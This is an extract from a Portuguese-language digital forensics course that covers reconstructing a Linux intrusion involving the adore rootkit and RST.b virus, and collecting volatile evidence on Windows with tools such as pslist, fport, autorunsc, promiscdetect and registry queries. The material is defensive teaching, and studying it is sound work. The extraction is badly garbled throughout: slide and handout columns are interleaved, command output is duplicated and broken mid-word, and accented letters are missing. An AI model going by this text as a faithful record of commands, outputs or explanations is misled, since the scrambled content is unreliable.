inode:30578 evidncias encontradas:
Allocated
Group:2
uid/gid:0/0 # istat /data/compromised/compromised_hda1.img 305788
mode:rwrr
i 228
size:228
inode: 30578
numoflinks:1 Allocated
InodeTimes:
Group: 2
Accessed:SunAug1016:26:182003
FileModified:WedAug612:09:172003 uid / gid: 0 / 0
InodeModified:WedAug612:09:172003 mode: -rw-r--r--
DirectBlocks:
71142
size: 228
num of links: 1
Inode Times:
Accessed: Sun Aug 10 16:26:18 2003
File Modified: Wed Aug 6 12:09:17 2003
Inode Modified: Wed Aug 6 12:09:17 2003
Direct Blocks:
71142
Podemos ver adiante uma atividade de acesso a outros arquivos (.a. na listagem)
indicando que os mesmos foram lidos ou executados. O outro campo na coluna
de atividade indica mudana no inode do arquivo (..c) e pode indicar quando o
arquivo foi criado ou apagado, mas tambm quando as informaes sobre o
arquivo foram alteradas: troca de dono do arquivo, troca de atributos etc.
Correlao
de informaes
Correlao de informaes
As evidncias
A id i encontradas
t d ddevem ser correlacionadas
l i d Sun Aug 10 2003 16:30:52 5636 ma. -/-rw-r--r-- root
com as informaes de tempo fornecidas pelas root 47169 /usr/lib/adore.o
f
ferramentas
t fforenses:
No exemplo temos a criao dos arquivos /dev/hdx1
SunAug10200316:30:300mac/ rootroot35804/dev/hdx1 e /dev/hdx2, que normalmente indicam uma infeco
0mac/ rootroot35833/dev/hdx2
pelo vrus RST.b. Vimos em sesses anteriores que
o antivrus detectou a presena deste vrus em diver-
SunAug10200316:30:525636ma./rwrr rootroot47169
/usr/lib/adore.o
sos arquivos na mquina, o que pode indicar que tais
ferramentas foram executadas.
Reconstruo
do ataque
q
Reconstruo do ataque
06/Ago/2003 11:16:40 Last login: Wed Aug 6 11:16:40 on tty2 mtodos e tcnicas utilizadas pelo invasor, inclusive com
06/Ago/2003 12:09:17 Reinicializao do servidor (/etc/issue). possveis solues e tcnicas para proteo e deteco
10/Ago/2003 13:24:29 Possvel comprometimento do servio HTTPS.
deste tipo de ao no futuro.
10/Ago/2003 13:33:57 Parada dos servios syslogd e klogd.
Reconstruo
do ataque
q
Finalmente,
Fi l t o analista
li t ddeve id
identificar
tifi possveis
i
solues para os problemas e vulnerabilidades
id tifi d
identificados
Se possvel, devem ser sugeridas formas de se
proteger ou identificar atividades como as ocorridas
no sistema analisado
Esta parte da anlise forense permite ao responsvel
pela mquina
p q invadida entender o que
q aconteceu, p
para
que possa se proteger de futuros ataques
Concluses
Concluses
Muitas das tcnicas e teorias vistas nas sesses sobre anlise forense em Linux
podem e devem ser utilizadas em ambientes Windows, embora existam algumas
diferenas importantes que devem ser levadas em considerao.
Tpicos e conceitos
\\90-120 minutos
122
Escola Superior de Redes RNP
Sumrio da sesso
Concluses . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 132
Sistema de arquivos
q
Sistema de arquivos
Sistema de arquivos
q Estas estruturas so importantes quando se tenta
recuperar informaes sobre o sistema de arqui-
O MFT composto de 16 registros,
registros sendo que somente 12 so vos com as ferramentas de anlise forense que
utilizados atualmente: vimos anteriormente.
$MFT Master File Table
$MftMirr Cpia de Master File Table
$LogFile Arquivo de registro de eventos do NTFS A rea que sobra da MFT aps armazenar os regis-
$Volume Informaes sobre o volume
$AttrDef Definies de atributos tros acima serve para armazenar as informaes
$ Diretrio
$. Di t i raizi do
d sistema
i t
de arquivos e diretrios do sistema.
$Bitmap Mapa de utilizao de clusters
$Boot Setor de boot da partio
$BadClus Lista de bad cluster
$Secure Informaes sobre segurana
$Upcase Tabela de converso de caracteres
$Extend Arquivo de extenses do NTFS
Outra caracterstica delas deve ser interferir o mnimo possvel no ambiente onde
coletam dados, ou seja, quanto menor o grau de interao da ferramenta com
o ambiente, menor a ocorrncia de contaminao de evidncias. Devem possuir
validade jurdica e/ou ser aceitas como instrumentos de coleta de evidncias.
\\Cygwin Ferramentas Unix portadas para Windows: strings, cat, file, wget,
less e ls, entre outras;
Primeiras aes
Primeiras aes
Primeiras aes:
As primeiras aes do investigador ao ter acesso a
Preservar evidncias um sistema vulnervel podem comprometer evidn-
C l t evidncias
Coletar id i mais i volteis
lt i cias se no forem tomados cuidados com a ordem
Verificao externa do sistema:
de coleta das evidncias.
N
Nmeros de
d srie
i
Dispositivos conectados
E t d gerall ddo sistema
Estado i t Preferencialmente, o investigador deve comear a
Conectividade
coleta de evidncias por aquelas mais volteis e
Energia
Tela do sistema (console): que no podero ser reproduzidas posteriormente.
Fotografia Entre essas evidncias esto as informaes sobre
Print-screen (compromete a memria) o ambiente onde a mquina est localizada, sobre a
tela do computador e sobre a memria RAM.
Deve-se evitar capturar a tela do computador com um print screen, pois com isso
perdem-se as informaes que estavam na rea de transferncia (clipboard) e
podem ser comprometidas as evidncias em memria.
cmd.exe
O investigador deve sempre se lembrar desse passo que garante a validade das
evidncias coletadas.
Podemos fazer uma consulta no registro para descobrir o timezone. Alm disso, j
vimos que o comando dd fornece a hora do sistema em horrio UTC e horrio local.
A ferramenta reg.exe permite fazer consultas a chaves de registro.
Concluses
Concluses
Tpicos e conceitos
\\90 minutos
134
Escola Superior de Redes RNP
Sumrio da sesso
Concluses . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 151
\\Pornografia;
\\Fraude;
O comando net.exe faz parte do pacote bsico do Windows, e tem diversos par-
metros que podem ser usados para interagir com o sistema.
Uma informao que pode ser importante para a anlise posterior da imagem de
disco pode ser conseguida com o comando ntfsinfo.exe, que permite extrair algu-
mas informaes bsicas sobre o disco.
D:\IR\xp> mem8
Coleta de informaes bsicas
655360 bytes total conventional memory
655360 bytes available to MS-DOS
Informaes sobre o sistema 598160 largest executable program size
1048576 bytes total contiguous extended memory
D:\IR\xp> mem
655360 bytes total conventional memory 0 bytes available contiguous extended memory
655360 bytes available to MS-DOS 941056 bytes available XMS memory
598160 largest executable program size MS-DOS resident in High Memory Area
1048576 bytes total contiguous extended memory
0 bytes available contiguous extended memory
941056 bytes available XMS memory
MS-DOS resident in High Memory Area O comando mem.exe fornece informaes sobre a
memria do sistema.
D:\IR\xp> psinfo8
Coleta de informaes bsicas
System information for \\COMPUTADOR:
Uptime: 0 days 4 hours 56 minutes 29 seconds
Informaes sobre o sistema Kernel version: Microsoft Windows XP, Uniprocessor
Free
D:\IR\xp> psinfo
System information for \\COMPUTADOR: Product type: Professional
Uptime:
Kernel version:
0 days 4 hours 56 minutes 29 seconds
Microsoft Windows XP, Uniprocessor Free
Product version: 5.1
Product type: Professional Service pack: 2
Product version: 5.1
Service pack: 2 Kernel build number: 2600
Kernel build number: 2600
Registered organization: Registered organization:
Registered owner: Usuario
Install date: 18/10/2005, 19:19:17 Registered owner: Usuario
Activation status:
IE version:
Error reading status
7.0000
Install date: 18/10/2005, 19:19:17
System root: C:\WINDOWS Activation status: Error reading status
Physical memory: 1022 MB
IE version: 7.0000
System root: C:\WINDOWS
Physical memory: 1022 MB
Observe que a informao sobre ativao nem sempre pode ser lida como vemos
no comando acima. No exemplo, o comando foi executado em uma mquina devi-
damente ativada e autenticada.
D:\IR\xp> ps -a -W8
D:\IR\xp> ps -a -W PID PPID PGID WINPID TTY UID STIME COMMAND
PID PPID PGID WINPID TTY UID STIME COMMAND
4 0 0 4 ? 0 16:24:48 *** 4 0 0 4 ? 0 16:24:48 *** unknown ***
unknown ***
944 0 0
\SystemRoot\System32\smss.exe
944 ? 0 14:39:48 944 0 0 944 ? 0 14:39:48 \SystemRoot\System32\smss.
1068 0 0 1068 ? 0 14:39:58 exe
\??\C:\WINDOWS\system32\winlogon.exe
1112 0 0 1112 ? 0 14:39:58 1068 0 0 1068 ? 0 14:39:58 \??\C:\WINDOWS\system32\
C:\WINDOWS\system32\services.exe
1124 0 0 1124 ? 0 14:39:58
winlogon.exe
C:\WINDOWS\system32\lsass.exe
1272 0 0 1272 ? 0 14:39:59
1112 0 0 1112 ? 0 14:39:58 C:\WINDOWS\system32\serv
C:\WINDOWS\system32\Ati2evxx.exe ices.exe
1284 0 0 1284 ? 0 14:39:59
C:\WINDOWS\system32\svchost.exe 1124 0 0 1124 ? 0 14:39:58 C:\WINDOWS\system32\lsas
s.exe
1272 0 0 1272 ? 0 14:39:59 C:\WINDOWS\system32\Ati2
evxx.exe
1284 0 0 1284 ? 0 14:39:59 C:\WINDOWS\system32\svch
ost.exe
\\mstask.exe Task scheduler service (no pode ser terminado pelo Gerenciador
de tarefas).
D:\IR\xp> pslist8
Processos em execuo no sistema
Process information for COMPUTADOR:
Name Pid Pri Thd Hnd Priv CPU Time Elapsed Time
Idle 0 0 1 0 0 5:22:42.671 0:00:00.000
D:\IR\xp> pslist
Process information for COMPUTADOR: System 4 8 68 645 0 0:01:50.234 0:00:00.000
Name Pid Pri Thd Hnd Priv CPU Time Elapsed Time
Idle 0 0 1 0 0 5:22:42.671 0:00:00.000 smss 944 11 3 21 168 0:00:00.015 6:18:01.531
System 4 8 68 645 0 0:01:50.234 0:00:00.000
smss 944 11 3 21 168 0:00:00.015 6:18:01.531 csrss 1040 13 13 747 2004 0:00:53.640 6:17:55.000
csrss 1040 13 13 747 2004 0:00:53.640 6:17:55.000
winlogon 1068 13 22 448 6388 0:00:00.937 6:17:52.234
winlogon 1068 13 22 448 6388 0:00:00.937 6:17:52.234
services
lsass
1112
1124
9 15 337
9 21 461
1996
5868
0:00:10.515
0:00:05.187
6:17:52.046
6:17:52.031
services 1112 9 15 337 1996 0:00:10.515 6:17:52.046
ati2evxx 1272 8 5 71 796 0:00:00.343 6:17:51.218 lsass 1124 9 21 461 5868 0:00:05.187 6:17:52.031
svchost 1284 8 18 220 3384 0:00:00.203 6:17:51.203
... ati2evxx 1272 8 5 71 796 0:00:00.343 6:17:51.218
svchost 1284 8 18 220 3384 0:00:00.203 6:17:51.203
...
D:\IR\xp> ..\diamondcs\cmdline.exe8
Processos em execuo no sistema
DiamondCS Commandline Retrieval Tool for Windows NT
4/2K/XP
D:\IR\xp> ..\diamondcs\cmdline.exe
DiamondCS Commandline Retrieval Tool for Windows NT4/2K/XP
944 - \SystemRoot\System32\smss.exe <Error> Unable t
944 - \SystemRoot\System32\smss.exe <Error> Unable to read memory o read memory from PID 944
from PID 944
1040 - \??\C:\WINDOWS\system32\csrss.exe 1040 - \??\C:\WINDOWS\system32\csrss.exe
C:\WINDOWS\system32\csrss.exe ObjectDirectory=\Windows
SharedSection=1024,3072,512 Windows=On SubSystemType=Windows C:\WINDOWS\system32\csrss.exe ObjectDirectory=\Wind
ServerDll=basesrv,1 ows SharedSection=1024,3072,512 Windows=On SubSyste
ServerDll=winsrv:UserServerDllInitialization,3
ServerDll=winsrv:ConServerDllInitialization,2 ProfileControl=Off
mType=Windows ServerDll=basesrv,1 ServerDll=winsrv:
MaxRequestThreads=16 UserServerDllInitialization,3 ServerDll=winsrv:ConS
1068 - \??\C:\WINDOWS\system32\winlogon.exe winlogon.exe erverDllInitialization,2 ProfileControl=Off MaxReque
1112 - C:\WINDOWS\system32\services.exe stThreads=16
C:\WINDOWS\system32\services.exe
1124 - C:\WINDOWS\system32\lsass.exe C:\WINDOWS\system32\lsass.exe 1068 - \??\C:\WINDOWS\system32\winlogon.exe winlogo
1272 - C:\WINDOWS\system32\Ati2evxx.exe n.exe
1112 - C:\WINDOWS\system32\services.exe C:\WINDOWS\
system32\services.exe
1124 - C:\WINDOWS\system32\lsass.exe C:\WINDOWS\sys
tem32\lsass.exe
1272 - C:\WINDOWS\system32\Ati2evxx.exe
Bibliotecas do sistema
Bibliotecas do sistema
Uma coisa que o investigador deve estar atento ao examinar estes comandos so
bibliotecas localizadas em local que no seja padro no sistema. Outra indicao
de que o sistema pode ter sido comprometido a presena de bibliotecas com o
mesmo nome do sistema, mas com verses diferentes das outras bibliotecas padro.
Alm destas ferramentas, existe uma ferramenta grfica no kit de ferramentas que
permite listar as DLLs que so automaticamente injetadas em todos os processos
executados. Esta ferramenta chama-se InjectedDLL.exe
Podemos inclusive listar mais informaes sobre uma DLL clicando duas vezes
sobre ela, como no exemplo abaixo.
Outra informao importante sobre os processos, alm das bibliotecas que eles
utilizam, relativa aos arquivos que eles mantm abertos. Um processo desco-
nhecido pode manter arquivos de logs, pipes e outros tipos de arquivos abertos
durante a execuo. importante tentar recuperar essa informao, pois isso
pode facilitar o trabalho de investigao posterior.
Outra ferramenta til para ver arquivos abertos em tempo real a Filemon. Com
ela, podemos ver inclusive os acessos aos arquivos especiais do MFT, indicando
leituras ou escritas na tabela de partio.
Servios em execuo
Servios em execuo
Servios em execuo
ALG
Controls: UNKNOWN #0
Display Name: Application Layer Gateway Service
\\net stop <servio>
State: Running
Type: Windows Own Process
Controls: START
STOP
aswUpdSv Display Name: avast! iAVS4 Control Service
State: Running
Type: Windows Own Process
Desktop Interactive Process
Controls: START
STOP
SYSTEM SHUTDOWN
D:\IR\xp> autorunsc8
Servios em execuo
Autoruns v8.61 - Autostart program viewer
HKLM\System\CurrentControlSet\Control\Terminal Serv
D:\IR\xp> autorunsc
Autoruns v8.61 - Autostart program viewer
er\Wds\rdpwd\StartupPrograms
HKLM\System\CurrentControlSet\Control\Terminal
Server\Wds\rdpwd\StartupPrograms
rdpclip
rdpclip RDP Clip Monitor
RDP Clip Monitor
Microsoft Corporation Microsoft Corporation
c:\windows\system32\rdpclip.exe
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
c:\windows\system32\rdpclip.exe
C:\WINDOWS\system32\userinit.exe HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\W
Userinit Logon Application inlogon\Userinit
Microsoft Corporation
c:\windows\system32\userinit.exe C:\WINDOWS\system32\userinit.exe
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
SynTPLpr Userinit Logon Application
TouchPad Driver Helper Application Microsoft Corporation
Synaptics, Inc.
c:\program files\synaptics\syntp\syntplpr.exe c:\windows\system32\userinit.exe
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
SynTPLpr
TouchPad Driver Helper Application
Synaptics, Inc.
c:\program files\synaptics\syntp\syntplpr.exe
Alm desta chave de registro, existem muitas outras que permitem a inicializao
automtica de processos. Por isso, podemos usar ferramentas como o autorunsc.
exe para listar todas as possibilidades.
Repare que ela lista diversas chaves de registro e arquivos de configurao que
permitem a execuo automtica de programas.
Esta a verso grfica da ferramenta anterior, que permite ligar ou desligar pro-
gramas que esto iniciando automaticamente.
Concluses
Concluses
Tpicos e conceitos
\\90 minutos
154
Escola Superior de Redes RNP
Concluses . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 175
Conexes de rede
importante notar as informaes sobre as con-
So evidncias volteis figuraes de IP de todas as interfaces de rede,
Podem dar pistas sobre a origem dos invasores
incluindo aquelas que forem interfaces wireless. Alm
Podem dar dicas sobre possveis vazamentos de informao ou mau
uso do sistema disso, importante notar se a mquina possui um IP
Existem dois tipos de informao importantes de coletar: configurado estaticamente ou se usa DHCP para se
Conexes ativas, ou seja, aquelas que esto acontecendo no
momento atual auto-configurar.
Portas abertas, ou os servios que a mquina est oferecendo
publicamente
O investigador deve comparar a sada de diversos comandos Por fim, tambm necessrio anotar todos os ende-
diferentes, pois os rootkits costumam esconder informaes reos MAC das placas instaladas no computador,
sobre conexes de redes e portas abertas.
para correlacionar posteriormente estas informaes
com logs externos.
D:\IR\xp> openports8
DiamondCS OpenPorts v1.0 (-? for help)
SYSTEM [4]
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING
D:\IR\xp> fport8
Coleta de informaes de redes
FPort v2.0 - TCP/IP Process to Port Mapper
Pid Process Port Proto Path
Conexes de rede
1364 -> 135 TCP
D:\IR\xp> fport
FPort v2.0 - TCP/IP Process to Port Mapper
4 System -> 139 TCP
Pid
1364
Process Port
-> 135
Proto Path
TCP
4 System -> 445 TCP
4 System -> 139 TCP 2156 -> 1025 TCP
4 System -> 445 TCP
2156 -> 1025 TCP 884 MsnMsgr -> 1074 TCP C:\Program Files
884 MsnMsgr -> 1074 TCP C:\Program Files\MSN
Messenger\MsnMsgr.Exe \MSN Messenger\MsnMsgr.Exe
2512 firefox -> 1096 TCP C:\Program Files\Mozilla
Firefox\firefox.exe 2512 firefox -> 1096 TCP C:\Program Files
2512 firefox -> 1097
Firefox\firefox.exe
TCP C:\Program Files\Mozilla \Mozilla Firefox\firefox.exe
2512 firefox -> 1101
Firefox\firefox.exe
TCP C:\Program Files\Mozilla 2512 firefox -> 1097 TCP C:\Program Files
... \Mozilla Firefox\firefox.exe
2512 firefox -> 1101 TCP C:\Program Files
\Mozilla Firefox\firefox.exe
...
Alm das ferramentas de comando de linha estudadas, ainda existem duas ferra-
mentas com interface grfica que podem ser utilizadas para coletar informaes
sobre conexes de rede.
Outra ferramenta que tambm permite visualizar este tipo de informao cha-
mada cports.exe. Ela contm muitas informaes interessantes sobre os proces-
sos que esto mantendo conexes abertas. Execute a ferramenta em sua estao
e examine as colunas de informao para cada processo.
D:\IR\xp> promiscdetect8
Coleta de informaes de redes
Adapter name:
- Broadcom 802.11b/g WLAN
Conexes de rede Active filter for the adapter:
D:\IR\xp> promiscdetect - Directed (capture packets directed to this comput
Adapter name:
- Broadcom 802.11b/g WLAN er)
Active filter for the adapter:
- Directed (capture packets directed to this computer)
- Multicast (capture multicast packets for groups t
- Multicast (capture multicast packets for groups the computer is a member of) he computer is a member of)
- Broadcast (capture broadcast packets)
- Promiscuous (capture all packets on the network)
- Broadcast (capture broadcast packets)
WARNING: Since this adapter is in promiscuous mode there could be a sniffer
running on this computer!
- Promiscuous (capture all packets on the network)
Adapter name:
WARNING: Since this adapter is in promiscuous mode
- Realtek RTL8139/810x Family Fast Ethernet NIC there could be a sniffer running on this computer!
Active filter for the adapter:
- Directed (capture packets directed to this computer)
- Multicast (capture multicast packets for groups the computer is a member of) Adapter name:
- Broadcast (capture broadcast packets)
- Realtek RTL8139/810x Family Fast Ethernet NIC
Active filter for the adapter:
- Directed (capture packets directed to this compu
ter)
- Multicast (capture multicast packets for groups
the computer is a member of)
- Broadcast (capture broadcast packets)
Uma informao que pode ser uma indicao forte de que a mquina foi comprometida
o fato de alguma de suas interfaces de rede estar funcionando em modo promscuo.
Este tipo de funcionamento faz com que o driver de rede associado interface
capture todos os pacotes que passem pela rede, mesmo aqueles que no so
direcionados prpria mquina. Com isso, possvel monitorar todo o trfego de
rede, coletando informaes confidenciais como senhas e logins, entre outras.
Vemos no slide que uma das interfaces est configurada para funcionar em modo
promscuo, e com isso capturar todos os pacotes que passam pela rede, o que
pode ser indicativo da presena de um sniffer, e quase certamente do comprome-
timento da mquina.
HKEY_USERS
Contm o perfil dos usurios do computador.
HKEY_LOCAL_MACHINE
Contm as informaes especficas do computador
relacionadas com hardware e software.
HKEY_CLASSES_ROOT
Contm informaes sobre as associaes de arquivos.
HKEY_CURRENT_CONFIG
Contm as informaes do perfil do hardware do computador.
As chaves do registro podem ter seu nome abreviado, o que facilita a execuo
de uma busca pelo comando de linha:
HKEY_LOCAL_MACHINE: HKLM
HKEY_CLASSES_ROOT: HKCR
HKEY_CURRENT_USER: HKCU
HKEY_USERS: HKU
HKEY_CURRENT_CONFIG: HKCC
Cpia do registro:
Coleta de informaes em registros do
Windows D:\IR\xp> regdmp > d:\tmp\registry.txt8
Cpia do registro:
D:\IR\xp> regdmp > d:\tmp\registry.txt D:\IR\xp> reg query HKCU\Software /s > d:\tmp\regis
D:\IR\xp> reg query HKCU\Software /s > d:\tmp\registry_HKCU.txt try_HKCU.txt8
Principais buscas nos registros:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce Principais buscas nos registros:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curre
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce ntVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curre
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TypedURLs ntVersion\RunOnce
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\OpenSaveMRU\* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curre
ntVersion\RunServices
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curre
ntVersion\RunServicesOnce
HKEY_CURRENT_USER\Software\Microsoft\Windows\Curren
tVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\Curren
tVersion\RunOnce
HKEY_CURRENT_USER\Software\Microsoft\Windows\Curren
tVersion\RunServices
HKEY_CURRENT_USER\Software\Microsoft\Windows\Curren
tVersion\RunServicesOnce
HKEY_CURRENT_USER\Software\Microsoft\Internet Explo
rer\TypedURLs
HKEY_CURRENT_USER\Software\Microsoft\Windows\Curren
tVersion\Explorer\RunMRU
HKCU\Software\Microsoft\Windows\CurrentVersion\Expl
orer\ComDlg32\OpenSaveMRU\*
Para realizar uma cpia em formato de texto do registro do Windows podemos utilizar a
ferramenta regdmp.exe. necessrio direcionar a sada do comando para um arquivo.
O arquivo gerado nos permite realizar uma srie de buscas em chaves conside-
radas importantes para o processo de coleta de informaes. Podemos realizar
consultas a chaves especficas ou a um diretrio inteiro dentro do registro.
Podemos ver que a ferramenta permite realizar pesquisas por texto ou por uma faixa
de datas de modificao de alguma das chaves. interessante para achar modifica-
es recentes no registro, causadas por algum vrus ou ferramenta de rootkit.
\\HKEY_LOCAL_MACHINE
\\HKEY_USERS
\\HKEY_CURRENT_USER
Uma funcionalidade permite navegar nos dados ordenados por tempo, o que
possibilita verificar mais facilmente em um determinado momento as chaves que
foram modificadas.
Outros processos do sistema podem criar arquivos de logs especficos, tal como
ferramentas de antivrus ou firewall.
Registro de eventos:
Coleta de registros de eventos (logs)
D:\IR\xp> psloglist8
Registro de eventos System log on \\COMPUTADOR:
D:\IR\xp> psloglist
System log on \\COMPUTADOR: [494907] WinDefend
[494907] WinDefend
Type: INFORMATION
Type: INFORMATION
Computer: COMPUTADOR Computer: COMPUTADOR
Time: 30/1/2008 20:03:49 ID: 2000
Windows Defender signature version has been updated.
Time: 30/1/2008 20:03:49 ID: 2000
Current Signature Version: 1.24.6025.0 Windows Defender signature version has been updated.
Previous Signature Version: 1.24.5865.0
Update Source: User Current Signature Version: 1.24.6025.0
Signature Type: AntiSpyware Previous Signature Version: 1.24.5865.0
Update Type: Delta
User: COMPUTADOR\Usuario Update Source: User
Current Engine Version: 1.1.3109.0 Signature Type: AntiSpyware
Previous Engine Version: 1.1.3109.0
Update Type: Delta
User: COMPUTADOR\Usuario
Current Engine Version: 1.1.3109.0
Previous Engine Version: 1.1.3109.0
Registro de eventos:
Coleta de registros de eventos (logs)
D:\IR\xp> ..\2k\res_kit\dumpel /?8
Registro de eventos DUMPEL Usage:
D:\IR\xp> ..\2k\res_kit\dumpel /? dumpel -f file [-s \\server] [-l log [-m source]] [-
DUMPEL Usage: e n1 n2 n3..] [-r] [-t] [-dx]
dumpel -f file [-s \\server] [-l log [-m source]] [-e n1 n2 n3..] [-r] [-t] [-
dx] -d <days> Filters for event last days (number larg
-d <days> Filters for event last days (number larger than zero)
-e nn Filters for event id nn (up to 10 may be specified)
er than zero)
-f <filename> Output filename (default stdout)
-l <name> Dumps the specified log (system, application, security)
-e nn Filters for event id nn (up to 10 may be spe
-b Dumps a backup file (use -l to specify file name) cified)
-m <name> Filters for events logged by name
-r Filters out events logged by name (must use -m too)
-f <filename> Output filename (default stdout)
-s <servername> Remote to servername
-l <name> Dumps the specified log (system, applicat
-t Use tab to separate strings (default is space)
-c Use comma to separate fields ion, security)
-ns Do not output strings
-format <fmt> Specify output format.
-b Dumps a backup file (use -l to specify file name)
-m <name> Filters for events logged by name
-r Filters out events logged by name (must use -m t
oo)
-s <servername> Remote to servername
-t Use tab to separate strings (default is space)
-c Use comma to separate fields
-ns Do not output strings
-format <fmt> Specify output format.
Registro de eventos:
Coleta de registros de eventos (logs)
D:\IR\xp> dumpevt /logfile=app /all /outfile=\tmp\evt
dump.txt8
Registro de eventos
D:\IR\xp> dumpevt /logfile=app /all /outfile=\tmp\evtdump.txt
Somarsoft DumpEvt V1.7.3, Copyright 1995-1997 by S
Somarsoft DumpEvt V1.7.3, Copyright 1995-1997 by Somarsoft, Inc. omarsoft, Inc.
LogType=Application LogType=Application
Computer=(local)
SystemRoot=C:\WINDOWS Computer=(local)
Outfile=\tmp\evtdump.txt SystemRoot=C:\WINDOWS
Use HKEY_CURRENT_USER for saving record number
Format=yes Outfile=\tmp\evtdump.txt
DateFormat=(locale dependent)
TimeFormat=HH':'mm':'ss
Use HKEY_CURRENT_USER for saving record number8
FieldSeparator=, Format=yes
ReplaceFieldSeparator= (blank)
DateFormat=(locale dependent)
TimeFormat=HH:mm:ss
FieldSeparator=,
ReplaceFieldSeparator= (blank)
Permite especificar o tipo de log que desejamos coletar, gerando uma sada j
formatada para ser inserida em uma base de dados.
O arquivo gerado por este comando poder ser ento importado em uma base de
dados como um arquivo CSV separado por vrgulas, o que pode facilitar a anlise
dos eventos, que muitas vezes contm milhares de linhas.
Existe uma ferramenta disponvel no kit que no serve exclusivamente para visuali-
zao de logs de eventos, embora tambm tenha esta funcionalidade.
Esta ferramenta serve para realizar uma auditoria completa no sistema, e permite
visualizar informaes sobre logs de eventos, instalaes de programas e atualiza-
es do Windows, alm de informaes gerais sobre o sistema.
c:\WINDOWS\NOTEPAD.EXE8
D:\IR\xp> file -m ..\Cygwin\magic
c:\WINDOWS\NOTEPAD.EXE c:\WINDOWS\NOTEPAD.EXE: MS-DOS executable (EXE), OS
c:\WINDOWS\NOTEPAD.EXE: MS-DOS executable /2 or MS Windows
(EXE), OS/2 or MS Windows
Veja que listado acima o ltimo arquivo acessado dentro do diretrio especificado.
Alm disso, o comando permite examinar o ltimo acesso a um determinado arquivo,
ou listar arquivos acessados entre perodos determinados.
Veja que este comando produz informaes importantes sobre um arquivo, princi-
palmente sobre permisses de segurana e streams alternativos.
Ocultao de dados:
Recuperao de dados ocultos ADS
D:\IR\xp> echo Este e um arquivo de textos > d:\tmp
Ocultao de dados: \file.txt8
D:\IR\xp> echo Este e um arquivo de textos > d:\tmp\file.txt
Em um sistema onde foram encontrados indcios do uso de ADS, pode ser neces-
srio realizar uma pesquisa completa na imagem do disco.
Ocultao de dados:
Recuperao de dados ocultos ADS
D:\IR\xp> ads d:\tmp8
Ocultao de dados: d:\tmp\teste.txt:adsdata.txt (23 bytes)
D:\IR\xp> ads d:\tmp
d:\tmp\teste.txt:adsdata.txt (23 bytes) d:\tmp\teste.txt:np.exe (69120 bytes)
d:\tmp\teste.txt:np.exe (69120 bytes)
Recuperao de senhas
Recuperao de senhas
Concluses
Concluses
\\Identificar
as conexes e portas ativas de rede e outras informaes volteis
da estao Windows.
\\90 minutos
178
Escola Superior de Redes RNP
\\Another hacker tool has been detected. Acesso em maro de 2008, disponvel em
Computing and Networking Services: http://cns.utoronto.ca/~scan/expltool.txt
\\Digital
Forensic Research Workshop. Acesso em maro de 2008, disponvel em
DFRWS: http://www.dfrws.org/
\\Dynamic-link library from Wikipedia. Fonte: Wikipedia:
http://en.wikipedia.org/wiki/Dynamic-link_library
\\Helix:
Incident Response & Computer Forensics Live CD by e-fense, Inc. Acesso
em maro de 2008, disponvel em Helix Live CD: http://www.e-fense.com/helix
\\Helix from Forensics Wiki. Acesso em maro de 2008, disponvel em Forensics Wiki:
http://www.forensicswiki.org/index.php?title=Helix
\\Nachi worm tries to undo Blaster damage - but no virus is a good virus, says
Sophos. (19 de Ago de 2003). Acesso em maro de 2008, disponvel em Sophos:
http://www.sophos.com/pressoffice/news/articles/2003/08/va_nachi.html
\\NTFS Master File Table (MFT). Acesso em maro de 2008, disponvel em NTFS.com:
http://www.ntfs.com/ntfs-mft.htm
\\The NTFS File System from Sleuth Kit Implementation Notes (SKINs). Acesso em
maro de 2008, disponvel em Sleuth Kit:
http://www.sleuthkit.org/sleuthkit/docs/skins_ntfs.html
Seja um investigador
capaz de coletar evidncias digitais
e conduzir uma anlise em
sistemas comprometidos
Anlise forense
www.esr.rnp.br